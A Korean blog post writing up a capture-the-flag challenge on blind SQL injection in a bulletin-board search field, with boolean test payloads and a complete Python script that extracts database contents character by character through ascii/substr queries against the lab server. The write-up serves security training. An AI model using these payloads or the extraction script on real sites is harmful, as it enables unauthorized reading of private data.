[CTF] SQL Injection Point 2

CHIKAยท2024๋…„ 6์›” 11์ผ

๐Ÿ“Œ
SQLi ์ž๋™ํ™”ํ•˜๊ธฐ
SQLi Point

๋กœ๊ทธ์ธ ํ•œ ํ›„์— ๊ฒŒ์‹œํŒ์œผ๋กœ ๊ฐ€๋ณด์ž

x ๊ฒ€์ƒ‰ ํ›„ Burp์—์„œ ํ™•์ธํ•ด๋ณด๊ธฐ

์˜ˆ์ƒ ์ฟผ๋ฆฌ๋Š”
select * from table where option_val like '%board_result%'

option_val๋ถ€ํ„ฐ ํ•ด๋ณด์ž

โ–ผ'1'='1' and username

โ–ผ'1'='2' and username

๋’ค์— like๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ username and '1'='1'์ด ์•„๋‹Œ '1'='1' and username ์ด๋ผ๊ณ  ์จ์•ผํ•œ๋‹ค.
๊ฒฐ๊ณผ๊ฐ€ ์ฐธ์ผ๋•Œ ๊ฒŒ์‹œํŒ์˜ ๊ธ€์ด ๋ณด์ด๊ณ , ๊ฑฐ์ง“์ผ๋• alert์ฐฝ ์ถœ๋ ฅ & ๊ฒŒ์‹œํŒ ๊ธ€ ์•ˆ๋ณด์ด๋Š” ๊ฒƒ ํ™•์ธ


python์œผ๋กœ ์ž๋™ํ™”ํ•˜๊ธฐ

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php"
fail_message = '์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค'

def send_request(sql_query):
    cookie = {
              'PHPSESSID':'plppnj98ob0epg01r36sj4stsi'
              }
    data={
        'option_val' : sql_query,
        'board_result' : 'x',
        'board_search' : '%F0%9F%94%8D',
        'date_from' : '',
        'date_to' : ''
    }
    response = requests.post(url, cookies=cookie,data=data)
    return fail_message not in  response.text

'''
sql_query = input("sql์„ ์ž…๋ ฅํ•˜์„ธ์š”: ")
if send_request(sql_query):
    print("๋กœ๊ทธ์ธ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค")
else:
    print("๋กœ๊ทธ์ธ ์‹คํŒจ")    
'''

def Blind_SQLi(sql):
    extract_info = ''
    for i in range(1,101): #์ตœ๋Œ€ 100๊ธ€์ž ๊นŒ์ง€ ์ถ”์ถœ
        for j in range(32,127): #ascii ๋ฌธ์ž ๋ฒ”์œ„
            payload = f" (ascii(substr(({sql}),{i},1))={j}) and username "
            if send_request(payload):
                extract_info += chr(j)
                break
        else:
            break # ๋” ์ด์ƒ ๊ธ€์ž๊ฐ€ ์—†์œผ๋ฉด ์ข…๋ฃŒ
    return extract_info
    

sql_query = input("SQL ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”: ")

extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")

SQL๋ฌธ์˜ ๊ฒฐ๊ณผ๊ฐ€ ๊ฑฐ์ง“์ผ๋•Œ ๋‚˜์˜ค๋Š” ์กด์žฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค๋ฅผ ์‹คํŒจ ๋ฉ”์„ธ์ง€๋กœ ๋„ฃ์–ด์ฃผ์—ˆ๋‹ค.

๊ณต๊ฒฉ format์€
(ascii(substr(({sql}),{i},1))={j}) and username

0๊ฐœ์˜ ๋Œ“๊ธ€